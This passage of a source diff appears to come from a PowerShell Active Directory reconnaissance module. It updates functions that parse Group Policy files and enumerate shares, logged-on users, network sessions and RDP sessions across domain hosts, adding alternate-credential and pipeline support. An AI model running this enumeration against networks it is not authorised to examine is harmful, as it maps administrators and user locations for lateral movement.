$DFSshares | Sort-Object -Property "RemoteServerName" @@ -5093,6 +5428,7 @@ function Get-GptTmpl { [CmdletBinding()] Param ( + [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GptTmplPath, @@ -5112,7 +5448,12 @@ function Get-GptTmpl { Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + if($Credential) { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + else { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } } catch { Write-Debug "Error mounting path $GptTmplPath : $_" @@ -5130,42 +5471,38 @@ function Get-GptTmpl { $SectionsFinal = @{} try { + Write-Verbose "Parsing $GptTmplPath" - if(Test-Path $GptTmplPath) { - - Write-Verbose "Parsing $GptTmplPath" + Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() - Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { - if ($_ -match '\[') { - # this signifies that we're starting a new section - $SectionName = $_.trim('[]') -replace ' ','' + if($PropertyValues -match ',') { + $PropertyValues = $PropertyValues.split(',') } - elseif($_ -match '=') { - $Parts = $_.split('=') - $PropertyName = $Parts[0].trim() - $PropertyValues = $Parts[1].trim() - - if($PropertyValues -match ',') { - $PropertyValues = $PropertyValues.split(',') - } - - if(!$SectionsTemp[$SectionName]) { - $SectionsTemp.Add($SectionName, @{}) - } - # add the parsed property into the relevant Section name - $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) } - } - ForEach ($Section in $SectionsTemp.keys) { - # transform each nested hash table into a custom object - $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) } + } - # transform the parent hash table into a custom object - New-Object PSObject -Property $SectionsFinal + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] } + + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal } catch { Write-Debug "Error parsing $GptTmplPath : $_" @@ -5175,7 +5512,7 @@ function Get-GptTmpl { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } @@ -5198,11 +5535,11 @@ function Get-GroupsXML { .PARAMETER UsePSDrive Switch. Mount the target groups.xml folder path as a temporary PSDrive. - #> [CmdletBinding()] Param ( + [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GroupsXMLPath, @@ -5225,7 +5562,12 @@ function Get-GroupsXML { Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + if($Credential) { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + else { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } } catch { Write-Debug "Error mounting path $GroupsXMLPath : $_" @@ -5239,73 +5581,69 @@ function Get-GroupsXML { process { - # parse the Groups.xml file if it exists - if(Test-Path $GroupsXMLPath) { + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + $Members = @() + $MemberOf = @() - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' + } + else { + $LocalSid = $_.Properties.groupName + } + } + $MemberOf = @($LocalSid) - $Members = @() - $MemberOf = @() + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid - if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { - $LocalSid = 'S-1-5-32-544' - } - elseif($_.Properties.groupName -match 'Remote Desktop') { - $LocalSid = 'S-1-5-32-555' + if($_.sid) { + $Members += $_.sid } else { - $LocalSid = $_.Properties.groupName + # just a straight local account name + $Members += $_.name } } - $MemberOf = @($LocalSid) - - $_.Properties.members | ForEach-Object { - # process each member of the above local group - $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + } - if($_.sid) { - $Members += $_.sid - } - else { - # just a straight local account name - $Members += $_.name - } + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } - if ($Members -or $Memberof) { - # extract out any/all filters...I hate you GPP - $Filters = $_.filters | ForEach-Object { - $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} - } - } - - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} - } - - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GroupsXMLPath - 'Filters' = $Filters - 'MemberOf' = $Memberof - 'Members' = $Members - } + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} - New-Object -TypeName PSObject -Property $GPOProperties + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members } + + New-Object -TypeName PSObject -Property $GPOProperties } } } @@ -5313,13 +5651,12 @@ function Get-GroupsXML { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } - function Get-NetGPO { <# .SYNOPSIS @@ -5351,6 +5688,11 @@ function Get-NetGPO { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGPO -Domain testlab.local @@ -5377,12 +5719,14 @@ function Get-NetGPO { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + [Management.Automation.PSCredential] + $Credential ) begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { @@ -5394,9 +5738,14 @@ function Get-NetGPO { $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" } - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + catch { + Write-Warning $_ } } } @@ -5706,12 +6055,12 @@ function Find-GPOLocation { if ($_.members) { $_.members = $_.members | Where-Object {$_} | ForEach-Object { - if($_ -match "S-1-5") { + if($_ -match '^S-1-.*') { $_ } else { # if there are any plain group names, try to resolve them to sids - Convert-NameToSid -ObjectName $_ -Domain $Domain + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID } } @@ -5755,12 +6104,12 @@ function Find-GPOLocation { if($Filters) { # filter for computer name/org unit if a filter is specified # TODO: handle other filters? - $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { $_.adspath -match ($Filters.Value) } | ForEach-Object { $_.dnshostname } } else { - $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } $GPOLocation = New-Object PSObject @@ -5952,7 +6301,7 @@ function Find-GPOComputerAdmin { $GPO.members | Foreach-Object { # resolvethis SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -Credential $Credential $_ -PageSize $PageSize $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName @@ -5968,7 +6317,7 @@ function Find-GPOComputerAdmin { # if we're recursing and the current result object is a group if($Recurse -and $GPOComputerAdmin.isGroup) { - Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { $MemberDN = $_.distinguishedName @@ -6082,6 +6431,7 @@ function Get-DomainPolicy { $ParseArgs = @{ 'GptTmplPath' = $GptTmplPath 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential } # parse the GptTmpl.inf @@ -6219,7 +6569,7 @@ function Get-NetLocalGroup { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [String[]] $ComputerName = 'localhost', [ValidateScript({Test-Path -Path $_ })] @@ -6255,7 +6605,7 @@ function Get-NetLocalGroup { } else { # otherwise assume a single host name - $Servers += Get-NameField -Object $ComputerName + $Servers += $ComputerName | Get-NameField } # query the specified group using the WINNT provider, and @@ -6388,7 +6738,7 @@ function Get-NetLocalGroup { } -function Get-NetShare { +filter Get-NetShare { <# .SYNOPSIS @@ -6403,7 +6753,8 @@ function Get-NetShare { .OUTPUTS SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share. + result structure which includes the name and note for each share, + with the ComputerName added. .EXAMPLE @@ -6416,82 +6767,87 @@ function Get-NetShare { PS C:\> Get-NetShare -ComputerName sqlserver Returns active shares on the 'sqlserver' host + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetShare + + Returns all shares for all computers in the domain. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # arguments for NetShareEnum - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - # get the share information - $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + # get the share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetShare result: $Result" + Write-Debug "Get-NetShare result for $Computer : $Result" - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SHARE_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - } + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $Shares = $Info | Select-Object * + $Shares | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Shares } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetLoggedon { +filter Get-NetLoggedon { <# .SYNOPSIS @@ -6505,7 +6861,8 @@ function Get-NetLoggedon { .OUTPUTS WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users. + result structure which includes the username and domain of logged on users, + with the ComputerName added. .EXAMPLE @@ -6519,6 +6876,12 @@ function Get-NetLoggedon { Returns users actively logged onto the 'sqlserver' host. + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetLoggedon + + Returns all logged on userse for all computers in the domain. + .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6528,78 +6891,71 @@ function Get-NetLoggedon { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - # Declare the reference variables - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - Write-Debug "Get-NetLoggedon result: $Result" + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() + Write-Debug "Get-NetLoggedon result for $Computer : $Result" - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() - } + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetSession { +filter Get-NetSession { <# .SYNOPSIS @@ -6619,7 +6975,7 @@ function Get-NetSession { SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 result structure which includes the host and username associated - with active sessions. + with active sessions, with the ComputerName added. .EXAMPLE @@ -6633,6 +6989,12 @@ function Get-NetSession { Returns active sessions on the 'sqlserver' host. + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetSession + + Returns active sessions on all domain controllers. + .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6642,80 +7004,73 @@ function Get-NetSession { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost', [String] $UserName = '' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - # arguments for NetSessionEnum - $QueryLevel = 10 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # get session information - $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - Write-Debug "Get-NetSession result: $Result" + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + Write-Debug "Get-NetSession result for $Computer : $Result" - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SESSION_INFO_10 + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 - } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $Sessions = $Info | Select-Object * + $Sessions | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Sessions } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetRDPSession { +filter Get-NetRDPSession { <# .SYNOPSIS @@ -6741,129 +7096,127 @@ function Get-NetRDPSession { PS C:\> Get-NetRDPSession -ComputerName "sqlserver" - Returns active RDP/terminal sessions on the 'sqlserver' host. + Returns active RDP/terminal sessions on the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetRDPSession + + Returns active RDP/terminal sessions on all domain controllers. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # open up a handle to the Remote Desktop Session host - $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { - Write-Debug "WTSOpenServerEx handle: $Handle" + Write-Debug "WTSOpenServerEx handle: $Handle" - # arguments for WTSEnumerateSessionsEx - $ppSessionInfo = [IntPtr]::Zero - $pCount = 0 - - # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) - # Locate the offset of the initial intPtr - $Offset = $ppSessionInfo.ToInt64() + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() - Write-Debug "WTSEnumerateSessionsEx result: $Result" - Write-Debug "pCount: $pCount" + Write-Debug "WTSEnumerateSessionsEx result: $Result" + Write-Debug "pCount: $pCount" - if (($Result -ne 0) -and ($Offset -gt 0)) { + if (($Result -ne 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WTS_SESSION_INFO_1::GetSize() + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() - # parse all the result structures - for ($i = 0; ($i -lt $pCount); $i++) { - - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 - $RDPSession = New-Object PSObject + $RDPSession = New-Object PSObject - if ($Info.pHostName) { - $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName - } - else { - # if no hostname returned, use the specified hostname - $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName - } + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } - $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName - if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { - # if a domain isn't returned just use the username - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" - } - else { - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" - } + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } - $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID - $RDPSession | Add-Member Noteproperty 'State' $Info.State + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State - $ppBuffer = [IntPtr]::Zero - $pBytesReturned = 0 + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 - # query for the source client IP with WTSQuerySessionInformation - # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] - } - else { - $SourceIP = $Null - } + $SourceIP = 